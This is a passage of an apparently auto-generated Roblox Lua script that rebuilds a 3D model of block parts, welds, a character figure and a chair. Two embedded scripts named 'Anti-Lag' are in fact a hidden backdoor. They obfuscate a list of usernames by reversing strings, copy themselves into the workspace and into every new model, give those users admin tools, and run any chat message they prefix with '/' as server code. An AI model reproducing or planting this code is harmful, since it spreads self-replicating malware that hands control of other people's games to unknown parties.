Part422.brickColor = BrickColor.new("Bright yellow")
Script423.Name = "Anti-Lag"
Script423.Parent = Part422
table.insert(cors,sandbox(Script423,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Weld424.Parent = Part422
Weld424.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
Weld424.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, -0, -0, -0, -1, -0)
Weld424.Part0 = Part422
Weld424.Part1 = Part403
Weld424.part1 = Part403
Weld425.Parent = Part422
Weld425.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld425.C1 = CFrame.new(-1.40002441, -0.199951172, 1, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld425.Part0 = Part422
Weld425.Part1 = Part536
Weld425.part1 = Part536
Model426.Parent = Model368
Part427.Name = "Right Arm"
Part427.Parent = Model426
Part427.CFrame = CFrame.new(-23.5410156, 55.5002365, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part427.Orientation = Vector3.new(-90, -180, 0)
Part427.Position = Vector3.new(-23.5410156, 55.5002365, -217.551559)
Part427.Rotation = Vector3.new(-90, 0, -180)
Part427.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part427.Size = Vector3.new(1, 2, 1)
Part427.Anchored = true
Part427.BottomSurface = Enum.SurfaceType.Smooth
Part427.BrickColor = BrickColor.new("Bright green")
Part427.TopSurface = Enum.SurfaceType.Smooth
Part427.brickColor = BrickColor.new("Bright green")
Part428.Name = "Right Arm"
Part428.Parent = Model426
Part428.CFrame = CFrame.new(-22.5410156, 55.5002365, -217.551559, 0, 0, 1, 1, 0, 0, 0, 1, 0)
Part428.Orientation = Vector3.new(0, 90, 90)
Part428.Position = Vector3.new(-22.5410156, 55.5002365, -217.551559)
Part428.Rotation = Vector3.new(90, 90, 0)
Part428.Color = Color3.new(0.294118, 0.592157, 0.294118)
Part428.Size = Vector3.new(1, 2, 1)
Part428.Anchored = true
Part428.BottomSurface = Enum.SurfaceType.Smooth
Part428.BrickColor = BrickColor.new("Bright green")
Part428.TopSurface = Enum.SurfaceType.Smooth
Part428.brickColor = BrickColor.new("Bright green")
Weld429.Parent = Part428
Weld429.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld429.C1 = CFrame.new(0.5, 0.200069427, 1, -0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld429.Part0 = Part428
Weld429.Part1 = Part579
Weld429.part1 = Part579
Weld430.Parent = Part428
Weld430.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld430.C1 = CFrame.new(0.5, 0.200069427, 1, -0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld430.Part0 = Part428
Weld430.Part1 = Part579
Weld430.part1 = Part579
Weld431.Parent = Part428
Weld431.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld431.C1 = CFrame.new(0.5, 0.200069427, 1, -0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld431.Part0 = Part428
Weld431.Part1 = Part579
Weld431.part1 = Part579
Weld432.Parent = Part428
Weld432.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld432.C1 = CFrame.new(0.5, 0.200069427, 1, -0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld432.Part0 = Part428
Weld432.Part1 = Part579
Weld432.part1 = Part579
Weld433.Parent = Part428
Weld433.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld433.C1 = CFrame.new(0.5, 0.200073242, 1, -0, -1, 0, 0, 0, -1, 1, 0, 0)
Weld433.Part0 = Part428
Weld433.Part1 = Part579
Weld433.part1 = Part579
Part434.Name = "Torso"
Part434.Parent = Model426
Part434.CFrame = CFrame.new(-23.0410156, 57.0002365, -218.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part434.Orientation = Vector3.new(0, 180, 0)
Part434.Position = Vector3.new(-23.0410156, 57.0002365, -218.051559)
Part434.Rotation = Vector3.new(-180, 0, -180)
Part434.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part434.Size = Vector3.new(2, 2, 1)
Part434.Anchored = true
Part434.BrickColor = BrickColor.new("Bright blue")
Part434.LeftParamA = 0
Part434.LeftParamB = 0
Part434.LeftSurface = Enum.SurfaceType.Weld
Part434.RightParamA = 0
Part434.RightParamB = 0
Part434.RightSurface = Enum.SurfaceType.Weld
Part434.brickColor = BrickColor.new("Bright blue")
Weld435.Parent = Part434
Weld435.C0 = CFrame.new(0, 0, 0.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
Weld435.C1 = CFrame.new(-0.900024414, -0.199996948, 0.5, 0, -1, 0, 0, -0, 1, -1, 0, 0)
Weld435.Part0 = Part434
Weld435.Part1 = Part575
Weld435.part1 = Part575
Weld436.Parent = Part434
Weld436.C0 = CFrame.new(-1, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld436.C1 = CFrame.new(0.5, -0.5, -0.5, 0, -0, -1, -1, 0, 0, 0, 1, 0)
Weld436.Part0 = Part434
Weld436.Part1 = Part452
Weld436.part1 = Part452
Snap437.Parent = Part434
Snap437.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Snap437.C1 = CFrame.new(0, -0.5, 0, -1, 0, -0, 0, 0, 1, -0, 1, -0)
Snap437.Part0 = Part434
Snap437.Part1 = Part449
Snap437.part1 = Part449
Part438.Name = "Right Arm"
Part438.Parent = Model426
Part438.CFrame = CFrame.new(-24.5410156, 57.3001671, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part438.Orientation = Vector3.new(-90, -180, 0)
Part438.Position = Vector3.new(-24.5410156, 57.3001671, -217.551559)
Part438.Rotation = Vector3.new(-90, 0, -180)
Part438.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part438.Size = Vector3.new(1, 2, 1)
Part438.Anchored = true
Part438.BottomSurface = Enum.SurfaceType.Smooth
Part438.BrickColor = BrickColor.new("Bright yellow")
Part438.TopSurface = Enum.SurfaceType.Smooth
Part438.brickColor = BrickColor.new("Bright yellow")
Weld439.Parent = Part438
Weld439.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld439.C1 = CFrame.new(-1.1999588, -0.199996948, -1, 0, -1, 0, 0, -0, 1, -1, 0, 0)
Weld439.Part0 = Part438
Weld439.Part1 = Part575
Weld439.part1 = Part575
Weld440.Parent = Part438
Weld440.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld440.C1 = CFrame.new(1, 0.299930573, -0.5, -0, -0, -1, 1, 0, 0, -0, -1, -0)
Weld440.Part0 = Part438
Weld440.Part1 = Part434
Weld440.part1 = Part434
Weld441.Parent = Part438
Weld441.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld441.C1 = CFrame.new(-1.19995117, -0.199996948, -1, 0, -1, 0, 0, -0, 1, -1, 0, 0)
Weld441.Part0 = Part438
Weld441.Part1 = Part575
Weld441.part1 = Part575
Weld442.Parent = Part438
Weld442.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld442.C1 = CFrame.new(1, 0.299926758, -0.5, -0, -0, -1, 1, 0, 0, -0, -1, -0)
Weld442.Part0 = Part438
Weld442.Part1 = Part434
Weld442.part1 = Part434
Weld443.Parent = Part438
Weld443.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld443.C1 = CFrame.new(1, 0.299930573, -0.5, -0, -0, -1, 1, 0, 0, -0, -1, -0)
Weld443.Part0 = Part438
Weld443.Part1 = Part434
Weld443.part1 = Part434
Weld444.Parent = Part438
Weld444.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld444.C1 = CFrame.new(-1.1999588, -0.199996948, -1, 0, -1, 0, 0, -0, 1, -1, 0, 0)
Weld444.Part0 = Part438
Weld444.Part1 = Part575
Weld444.part1 = Part575
Weld445.Parent = Part438
Weld445.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld445.C1 = CFrame.new(1, 0.299930573, -0.5, -0, -0, -1, 1, 0, 0, -0, -1, -0)
Weld445.Part0 = Part438
Weld445.Part1 = Part434
Weld445.part1 = Part434
Weld446.Parent = Part438
Weld446.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld446.C1 = CFrame.new(-1.1999588, -0.199996948, -1, 0, -1, 0, 0, -0, 1, -1, 0, 0)
Weld446.Part0 = Part438
Weld446.Part1 = Part575
Weld446.part1 = Part575
Weld447.Parent = Part438
Weld447.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
Weld447.C1 = CFrame.new(1, 0.299930573, -0.5, -0, -0, -1, 1, 0, 0, -0, -1, -0)
Weld447.Part0 = Part438
Weld447.Part1 = Part434
Weld447.part1 = Part434
Weld448.Parent = Part438
Weld448.C0 = CFrame.new(0, -1, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld448.C1 = CFrame.new(-1.1999588, -0.199996948, -1, 0, -1, 0, 0, -0, 1, -1, 0, 0)
Weld448.Part0 = Part438
Weld448.Part1 = Part575
Weld448.part1 = Part575
Part449.Name = "Head"
Part449.Parent = Model426
Part449.CFrame = CFrame.new(-23.0410156, 58.5002365, -218.051559, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part449.Orientation = Vector3.new(0, 180, 0)
Part449.Position = Vector3.new(-23.0410156, 58.5002365, -218.051559)
Part449.Rotation = Vector3.new(-180, 0, -180)
Part449.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part449.Size = Vector3.new(2, 1, 1)
Part449.Anchored = true
Part449.BrickColor = BrickColor.new("Bright yellow")
Part449.TopSurface = Enum.SurfaceType.Smooth
Part449.brickColor = BrickColor.new("Bright yellow")
SpecialMesh450.Parent = Part449
SpecialMesh450.Scale = Vector3.new(1.25, 1.25, 1.25)
Decal451.Name = "face"
Decal451.Parent = Part449
Part452.Name = "Right Arm"
Part452.Parent = Model426
Part452.CFrame = CFrame.new(-21.5410156, 57.5002365, -217.551559, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part452.Orientation = Vector3.new(-90, -180, 0)
Part452.Position = Vector3.new(-21.5410156, 57.5002365, -217.551559)
Part452.Rotation = Vector3.new(-90, 0, -180)
Part452.Color = Color3.new(0.960784, 0.803922, 0.188235)
Part452.Size = Vector3.new(1, 2, 1)
Part452.Anchored = true
Part452.BottomSurface = Enum.SurfaceType.Smooth
Part452.BrickColor = BrickColor.new("Bright yellow")
Part452.TopSurface = Enum.SurfaceType.Smooth
Part452.brickColor = BrickColor.new("Bright yellow")
Script453.Name = "Anti-Lag"
Script453.Parent = Part452
table.insert(cors,sandbox(Script453,function()
Altitude = script:clone()
calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4]))
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5]))
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
end))
Model454.Parent = Model368
Model455.Name = "Chair"
Model455.Parent = Model454
Model455.PrimaryPart = Part500
Part456.Name = "Smooth Block Model"
Part456.Parent = Model455
Part456.CFrame = CFrame.new(-15.5410156, 54.0002365, -218.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part456.Orientation = Vector3.new(0, 90, 0)
Part456.Position = Vector3.new(-15.5410156, 54.0002365, -218.051559)
Part456.Rotation = Vector3.new(0, 90, 0)
Part456.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part456.Size = Vector3.new(1, 1.20000005, 1)
Part456.Anchored = true
Part456.BrickColor = BrickColor.new("Dark orange")
Part456.TopSurface = Enum.SurfaceType.Weld
Part456.brickColor = BrickColor.new("Dark orange")
SpecialMesh457.Parent = Part456
SpecialMesh457.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld458.Parent = Part456
Weld458.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld458.C1 = CFrame.new(1, -0.199951172, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld458.Part0 = Part456
Weld458.Part1 = Part500
Weld458.part1 = Part500
Part459.Name = "Smooth Block Model"
Part459.Parent = Model455
Part459.CFrame = CFrame.new(-15.5410156, 54.0002365, -216.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part459.Orientation = Vector3.new(0, 90, 0)
Part459.Position = Vector3.new(-15.5410156, 54.0002365, -216.051559)
Part459.Rotation = Vector3.new(0, 90, 0)
Part459.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part459.Size = Vector3.new(1, 1.20000005, 1)
Part459.Anchored = true
Part459.BrickColor = BrickColor.new("Dark orange")
Part459.TopSurface = Enum.SurfaceType.Weld
Part459.brickColor = BrickColor.new("Dark orange")
SpecialMesh460.Parent = Part459
SpecialMesh460.Scale = Vector3.new(1.25, 1.25, 1.25)
Part461.Name = "Smooth Block Model"
Part461.Parent = Model455
Part461.CFrame = CFrame.new(-17.5410156, 54.0002365, -218.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part461.Orientation = Vector3.new(0, 90, 0)
Part461.Position = Vector3.new(-17.5410156, 54.0002365, -218.051559)
Part461.Rotation = Vector3.new(0, 90, 0)
Part461.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part461.Size = Vector3.new(1, 1.20000005, 1)
Part461.Anchored = true
Part461.BrickColor = BrickColor.new("Dark orange")
Part461.TopSurface = Enum.SurfaceType.Weld
Part461.brickColor = BrickColor.new("Dark orange")
SpecialMesh462.Parent = Part461
SpecialMesh462.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld463.Parent = Part461
Weld463.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld463.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld463.Part0 = Part461
Weld463.Part1 = Part500
Weld463.part1 = Part500
Weld464.Parent = Part461
Weld464.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld464.C1 = CFrame.new(1, -0.199951172, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld464.Part0 = Part461
Weld464.Part1 = Part500
Weld464.part1 = Part500
Weld465.Parent = Part461
Weld465.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld465.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld465.Part0 = Part461
Weld465.Part1 = Part500
Weld465.part1 = Part500
Weld466.Parent = Part461
Weld466.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld466.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld466.Part0 = Part461
Weld466.Part1 = Part500
Weld466.part1 = Part500
Weld467.Parent = Part461
Weld467.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld467.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld467.Part0 = Part461
Weld467.Part1 = Part500
Weld467.part1 = Part500
Part468.Name = "Smooth Block Model"
Part468.Parent = Model455
Part468.CFrame = CFrame.new(-17.5410156, 54.0002365, -216.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part468.Orientation = Vector3.new(0, 90, 0)
Part468.Position = Vector3.new(-17.5410156, 54.0002365, -216.051559)
Part468.Rotation = Vector3.new(0, 90, 0)
Part468.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part468.Size = Vector3.new(1, 1.20000005, 1)
Part468.Anchored = true
Part468.BrickColor = BrickColor.new("Dark orange")
Part468.TopSurface = Enum.SurfaceType.Weld
Part468.brickColor = BrickColor.new("Dark orange")
SpecialMesh469.Parent = Part468
SpecialMesh469.Scale = Vector3.new(1.25, 1.25, 1.25)
Weld470.Parent = Part468
Weld470.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld470.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld470.Part0 = Part468
Weld470.Part1 = Part500
Weld470.part1 = Part500
Weld471.Parent = Part468
Weld471.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld471.C1 = CFrame.new(-1, -0.199951172, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld471.Part0 = Part468
Weld471.Part1 = Part500
Weld471.part1 = Part500
Weld472.Parent = Part468
Weld472.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld472.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld472.Part0 = Part468
Weld472.Part1 = Part500
Weld472.part1 = Part500
Weld473.Parent = Part468
Weld473.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld473.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld473.Part0 = Part468
Weld473.Part1 = Part500
Weld473.part1 = Part500
Weld474.Parent = Part468
Weld474.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld474.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0)
Weld474.Part0 = Part468
Weld474.Part1 = Part500
Weld474.part1 = Part500
Part475.Name = "Smooth Block Model"
Part475.Parent = Model455
Part475.CFrame = CFrame.new(-16.5410156, 56.1002083, -218.751556, 0, 0, 1, -1, 0, 0, 0, -1, 0)
Part475.Orientation = Vector3.new(0, 90, -90)
Part475.Position = Vector3.new(-16.5410156, 56.1002083, -218.751556)
Part475.Rotation = Vector3.new(-90, 90, 0)
Part475.Color = Color3.new(0.627451, 0.372549, 0.207843)
Part475.Size = Vector3.new(3, 0.400000006, 3)
Part475.Anchored = true
Part475.BottomSurface = Enum.SurfaceType.Weld
Part475.BrickColor = BrickColor.new("Dark orange")
Part475.LeftSurface = Enum.SurfaceType.Weld
Part475.RightSurface = Enum.SurfaceType.Weld
Part475.TopSurface = Enum.SurfaceType.Smooth
Part475.brickColor = BrickColor.new("Dark orange")
Weld476.Parent = Part475
Weld476.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld476.C1 = CFrame.new(-1, -1, -1.1999588, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld476.Part0 = Part475
Weld476.Part1 = Part376
Weld476.part1 = Part376
Weld477.Parent = Part475
Weld477.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld477.C1 = CFrame.new(1.5, 1.3000412, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0)
Weld477.Part0 = Part475
Weld477.Part1 = Part500
Weld477.part1 = Part500
Weld478.Parent = Part475
Weld478.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld478.C1 = CFrame.new(0.599971771, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld478.Part0 = Part475
Weld478.Part1 = Part373
Weld478.part1 = Part373
Weld479.Parent = Part475
Weld479.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld479.C1 = CFrame.new(0, -1, 0.599971771, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld479.Part0 = Part475
Weld479.Part1 = Part370
Weld479.part1 = Part370
Weld480.Parent = Part475
Weld480.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld480.C1 = CFrame.new(0.5, -0.900028229, 0.5, 0, -1, -0, -1, 0, 0, 0, -0, -1)
Weld480.Part0 = Part475
Weld480.Part1 = Part374
Weld480.part1 = Part374
Weld481.Parent = Part475
Weld481.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld481.C1 = CFrame.new(0.599971771, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld481.Part0 = Part475
Weld481.Part1 = Part373
Weld481.part1 = Part373
Weld482.Parent = Part475
Weld482.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld482.C1 = CFrame.new(0.5, -0.900024414, 0.5, 0, -1, -0, -1, 0, 0, 0, -0, -1)
Weld482.Part0 = Part475
Weld482.Part1 = Part374
Weld482.part1 = Part374
Weld483.Parent = Part475
Weld483.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld483.C1 = CFrame.new(1.5, 1.3000412, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0)
Weld483.Part0 = Part475
Weld483.Part1 = Part500
Weld483.part1 = Part500
Weld484.Parent = Part475
Weld484.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld484.C1 = CFrame.new(-1, -1, -1.1999588, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld484.Part0 = Part475
Weld484.Part1 = Part376
Weld484.part1 = Part376
Weld485.Parent = Part475
Weld485.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld485.C1 = CFrame.new(-1, -1, -1.1999588, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld485.Part0 = Part475
Weld485.Part1 = Part376
Weld485.part1 = Part376
Weld486.Parent = Part475
Weld486.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld486.C1 = CFrame.new(1.5, 1.3000412, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0)
Weld486.Part0 = Part475
Weld486.Part1 = Part500
Weld486.part1 = Part500
Weld487.Parent = Part475
Weld487.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld487.C1 = CFrame.new(0.599975586, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld487.Part0 = Part475
Weld487.Part1 = Part373
Weld487.part1 = Part373
Weld488.Parent = Part475
Weld488.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld488.C1 = CFrame.new(0.5, -0.900028229, 0.5, 0, -1, -0, -1, 0, 0, 0, -0, -1)
Weld488.Part0 = Part475
Weld488.Part1 = Part374
Weld488.part1 = Part374
Weld489.Parent = Part475
Weld489.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld489.C1 = CFrame.new(0, -1, 0.599971771, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld489.Part0 = Part475
Weld489.Part1 = Part370
Weld489.part1 = Part370
Weld490.Parent = Part475
Weld490.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld490.C1 = CFrame.new(-1, -1, -1.1999588, 0, -1, -0, 0, 0, 1, -1, 0, 0)
Weld490.Part0 = Part475
Weld490.Part1 = Part376
Weld490.part1 = Part376
Weld491.Parent = Part475
Weld491.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld491.C1 = CFrame.new(0.599971771, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0)
Weld491.Part0 = Part475
Weld491.Part1 = Part373
Weld491.part1 = Part373
Weld492.Parent = Part475
Weld492.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
Weld492.C1 = CFrame.new(1.5, 1.30004883, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0)
Weld492.Part0 = Part475
Weld492.Part1 = Part500
Weld492.part1 = Part500
Weld493.Parent = Part475
Weld493.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
